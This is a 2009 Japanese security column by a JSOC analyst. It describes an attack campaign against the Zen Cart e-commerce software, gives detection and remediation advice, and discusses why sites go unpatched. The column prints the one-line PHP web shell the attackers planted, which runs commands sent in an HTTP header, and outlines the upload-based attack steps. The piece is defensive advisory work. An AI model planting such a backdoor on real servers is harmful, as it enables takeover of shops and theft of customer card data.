【3/18〜】Amazon、VMwareが語る『クラウドの未来』 スラッシュドット    はてなブックマーク  Yahoo!ブックマークに登録  印刷

セキュリティアナリストコラム
川口洋のセキュリティ・プライベート・アイズ(20)

ECサイトソフトウェアはなぜ更新されないのか


川口 洋
株式会社ラック
JSOCチーフエバンジェリスト兼セキュリティアナリスト
CISSP
2009/11/9

■平穏に見えても実は……

 皆さんこんにちは、川口です。普段仕事をしていると社会人との付き合いが多くなるのですが、8月のセキュリティ&プログラミングキャンプ以降、学生の方との出会いのイベントが立て続けに2つありました。1つは弊社の親会社であるラックホールディングスの2010年度内定者向けイベント、もう1つはIT Keysと呼ばれるイベントです。

 どちらも20代前半のIT系企業を志望する学生たちに対して、JSOCを見学してもらいました。このような社外向けへのイベントの対応も、エバンジェリストとしての大事な務めです。

【参考】
IT Keys - 先導的ITスペシャリスト育成推進プログラム
http://it-keys.naist.jp/

 そんな学生たちが見学したJSOCは平穏そうに見えますが、実際にはさまざまなインシデントが発生していました。今回は、学生たちがJSOCを見学していた時期である8月ころから始まった、あるインシデントの傾向について取り上げます。

■Zen Cartへの攻撃

 先日、オープンソースのECサイト構築システムであるZen Cartに関する注意喚起を出しました。

【参考】
FrontPage - Zen Cart 日本語公式サイト
http://zen-cart.jp/
Zen Cartは同じくオープンソースの著名なECサイト構築システムであるosCommerceから派生したプロジェクトであり、SEO(サーチエンジン対策)の考慮、豊富なプロモーション機能、XHTML/CSSによるデザインテンプレートシステムの採用、そしてオブジェクト指向によるプログラムソースの変更など、より先進的なビジョンに基づき日々進化しています。
(上記公式サイトより引用)

ECアプリケーション「Zen Cart」に関する注意喚起
http://www.lac.co.jp/info/alert/alert20091008.html

 この攻撃は以下のような流れで行われます。

(0)攻撃者はGoogleやYahooなどの検索エンジンで攻撃対象となるWebサーバをリストアップする。

(1)「/zen-cart/zen-cart/admin/」ディレクトリにアクセス可能かどうかを確認する。

図1 「/zen-cart/zen-cart/admin/」にアクセス(クリックで全体表示)

(2)POSTリクエストでバックドアを作成する。

図2 POSTリクエストを発行(クリックで全体表示)

 この画像ではリクエストヘッダだけを載せていますが、実際にはPOSTのリクエストボディに作成するバックドアが含まれています。今回作成されたバックドアは以下のようにたった1行です。

<?php system($_SERVER["HTTP_SHELL"]); ?>

(3)作成したバックドアに対してコマンドを実行する

図3 バックドアにコマンドを発行(クリックで全体表示)

 一見すると、作成したバックドアへGETでリクエストしているだけのように見えますが、SHELLというヘッダの後ろに実行したいコマンドを付けることで、サーバ上でコマンドの実行が可能です。

■どう対応するべきか

 この攻撃への対応策は、最新版のZen Cartを使うことです。Zen Cartを使っている人は最新バージョンへバージョンアップしましょう。

 どうしてもバージョンアップができない人は、IDS/IPS/WAFなどのセキュリティ機器で攻撃を防御することになりますが、今回の攻撃はファイルをアップロードする機能の脆弱性を悪用してバックドアファイルを作成していますので、注意が必要です。そのため、(2)のフェイズでの攻撃をIDS/IPSは「まったく」検知していませんでした。

 JSOCでは、(3)のフェイズでの攻撃だけをJSIGで検知しており、かろうじてこの攻撃の存在に気付くことができました。ご利用のセキュリティ機器で対応可能であるかを必ず確認してください。

 この攻撃によってZen Cartが被害を受けているかどうかを知るには、以下の点を確認してください。

  • imagesディレクトリ内に不審なPHPファイルがないか確認する。見たことのないPHPファイルがあれば、それはバックドアかもしれません。
  • Zen Cartが利用するデータベース内のテーブルrecord_companyに不正に作成されたファイル名を含むレコードが追加されていないか確認する。
  • Webサーバにて見知らぬユーザーやプロセスが稼働していないか確認する。
  • Webサーバのログを確認する。バックドアに対してのアクセスがあれば要注意。しかし、一般的なWebサーバのログ取得設定では実行されたコマンドまでは記録されません。

 万が一、攻撃によって被害を受けていた場合は、必要なデータのみをバックアップし、システムを再構築することをお勧めします。中途半端に修正、削除を行っても攻撃者がどこに何を仕込んでいるか分かりません。さらにECサイトということで、カード情報を保有している場合には、念入りに調査を行ってください。

■脆弱性があるのに、なぜバージョンアップされないのか?

 攻撃が行われる原因は、「そこに脆弱なZen Cartがあるから」です。

 6月に脆弱性が発表されから4カ月の時間が経過していますが、いまだにバージョンアップされていないWebサイトが多数あるようです。バージョンアップされない理由は何なのでしょうか。考えてみました。

  1. 脆弱性情報の存在を知らない
  2. 脆弱性への対処方法が分からない(意味を読み取れない)
  3. ホスティング環境で使っており、バージョンアップできない
  4. カスタマイズして使っているので修正、バージョンアップにコストがかかりすぎる
  5. バージョンアップ自体のコストを捻出できない
  6. バージョンアップ作業で止めている期間の売り上げダウンが怖い

 このコラムを読んでいるような人であれば1.という可能性は少ないと思いますが、脆弱性情報のチェックから抜けている可能性もあります。

 2.の対処方法が分からない、については、脆弱性情報を公開する側の情報の出し方が問われます。あまりに詳細に情報を出すことで、攻撃方法を特定できてしまうという考え方もありますが、オープンソースである以上、パッチなどを解析すれば問題の個所を特定することは容易であり、隠していても仕方ありません。

 同じECサイト用パッケージである「EC-CUBE」は脆弱性のある場所の修正個所が細かく記載してあり、対処する側としてもバージョンアップ以外の選択肢を取れることがありがたいです。EC-CUBEのようにオープンソースのものはバージョンアップ以外の手段も公開される風潮になることを願っています。

【参考】
EC-CUBE‐脆弱性リスト
http://www.ec-cube.net/info/weakness/index.php

 3.のホスティング環境においては、権限や対応範囲、サポート範囲などの関係もあり、対処が難しい場合も多くあるでしょう。例えば大塚商会のサービスでは、以下のようにZen Cartの脆弱性に関するアナウンスが行われています。ホスティングサービスを利用するユーザーはホスティング事業者側からアナウンスされる脆弱性情報もチェックしなければなりません。

【参考】
2009/09/16 | サービス関連情報|最新情報|アルファメール プレミア 会員サイト
http://www.alpha-prm.jp/new/service/2009/0916_929.html

 4〜6.のコストに関する問題については、Zen Cartに限らず、ECサイトを運営する事業者全員が抱える悩みです。サイト運営には脆弱性対応というコストがかかることを認識し、対応するしかありません。対応しないという選択肢はないにしても、脆弱性に対応するまでの間、どのようにウェブサイトを保護するかを考えなければなりません。

■学生が来れば思い出す……?

 今回は見学に来ていた学生たちの向こう側で起こっていたインシデントについてのお話でした。そういえば、第7回目のコラムで書いたように、学生が見学しているときには何か思い出深いインシデントが発生しています。次の学生たちが見学してくれるときには平和であってほしいと願いつつ、見学していた学生たちがラックに入社して一緒にお酒が飲めることを夢見ながら、今日も飲みに行くのでした。

【関連記事】
川口洋のセキュリティ・プライベート・アイズ(7)
夏が来れば思い出す……
http://www.atmarkit.co.jp/fsecurity/column/kawaguchi/007.html

Profile
川口 洋(かわぐち ひろし)
株式会社ラック
JSOCチーフエバンジェリスト兼セキュリティアナリスト
CISSP

ラック入社後、IDSやファイアウォールなどの運用・管理業務をへて、セキュリティアナリストとして、JSOC監視サービスに従事し、日々セキュリティインシデントに対応。

アナリストリーダとして、セキュリティイベントの分析とともに、IDS/IPSに適用するJSOCオリジナルシグネチャ(JSIG)の作成、チューニングを実施し、監視サービスの技術面のコントロールを行う。

現在、JSOCチーフエバンジェリスト兼セキュリティアナリストとして、JSOC全体の技術面をコントロールし、監視報告会、セミナー講師など対外的な活動も行う。

川口洋のセキュリティ・プライベート・アイズ バックナンバー


川口洋のセキュリティ・プライベート・アイズ 連載インデックス

ホワイトペーパーTechTargetジャパン

Security&Trust フォーラム 新着記事

@ITメールマガジン 新着情報やスタッフのコラムがメールで届きます(無料)

RSSフィード

スキルアップ/キャリアアップ(JOB@IT)

- PR -
- PR -

お勧め求人情報

キャリアアップ 〜JOB@IT
@IT Special -PR-
  TomcatやJBossなどAPサーバ環境に関する
情報を集約! “業務”用APサーバ大百科

New!
  一気に解説! 最新のクラスタストレージ
「RAIDを超えたストレージ基準」……など

New!
  クラウド的ユーザー体験の変化は脅威か?
仮想化技術を使いこなす運用管理術を紹介

New!

  上司や部下、部署内メンバーとの情報共有
を“ガラッ”と変えるコラボツールとは?

New!
  おばかアプリ選手権、第4弾開催中!!
ムダにカッコよくてくだらない作品求ム!

  社内ファイルサーバを“クラウド”に統合
VPN直結「クラウド型ストレージ」を紹介

  Twitterのアカウントはなぜ突破された?
メールによる新手の攻撃手法とその対策

  もう仮想化のお試しフェイズは終わりだ!
Hyper-V 2.0が基幹システムも仮想化

  美人!? まあまあ? 気になる いやし系!!
PV急増で「美人時計」がとった手段とは?

  クライアント企業から求められる人材
⇒IT技術と経営戦略を併せ持つ「戦略家」

  .NET編集長が実践する「技術情報検索術」
サンプル・コードを簡単に探す“技”は?

  業務効率と情報セキュリティ対策を両立!
手間なく確実に機密情報を守る方法とは?

  進化を続ける富士通ストレージETERNUS DX
製品開発者の自信を裏付けるものとは何か

  運用管理の課題を“2つの観点”から分析
ユーザー満足度の高い「仮想環境」とは?

  【CTC事例】約30の基幹システムを統合!
膨大なバッジジョブを制御した方法は?

  仮想化すればコストは削減できるか?
仮想化に必要な「3つの視点」を解説する

  その数、なんと400台以上! グループ内
サーバの「統合管理」によるメリットは?